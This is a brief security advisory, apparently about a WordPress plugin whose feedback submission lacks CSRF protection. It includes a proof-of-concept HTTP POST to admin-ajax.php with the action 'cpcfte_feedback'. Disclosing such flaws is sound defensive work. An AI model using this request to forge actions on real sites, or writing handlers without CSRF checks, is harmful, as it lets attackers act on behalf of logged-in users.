The plugin does not have Cross-Site Request Forgery (CSRF) check when submitting feedback, which could allow attackers to make logged in users do such action on their behalf via a Cross-Site Request Forgery (CSRF) attack.
Proof of Concept
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
action=cpcfte_feedback&answer=Something&onymous=false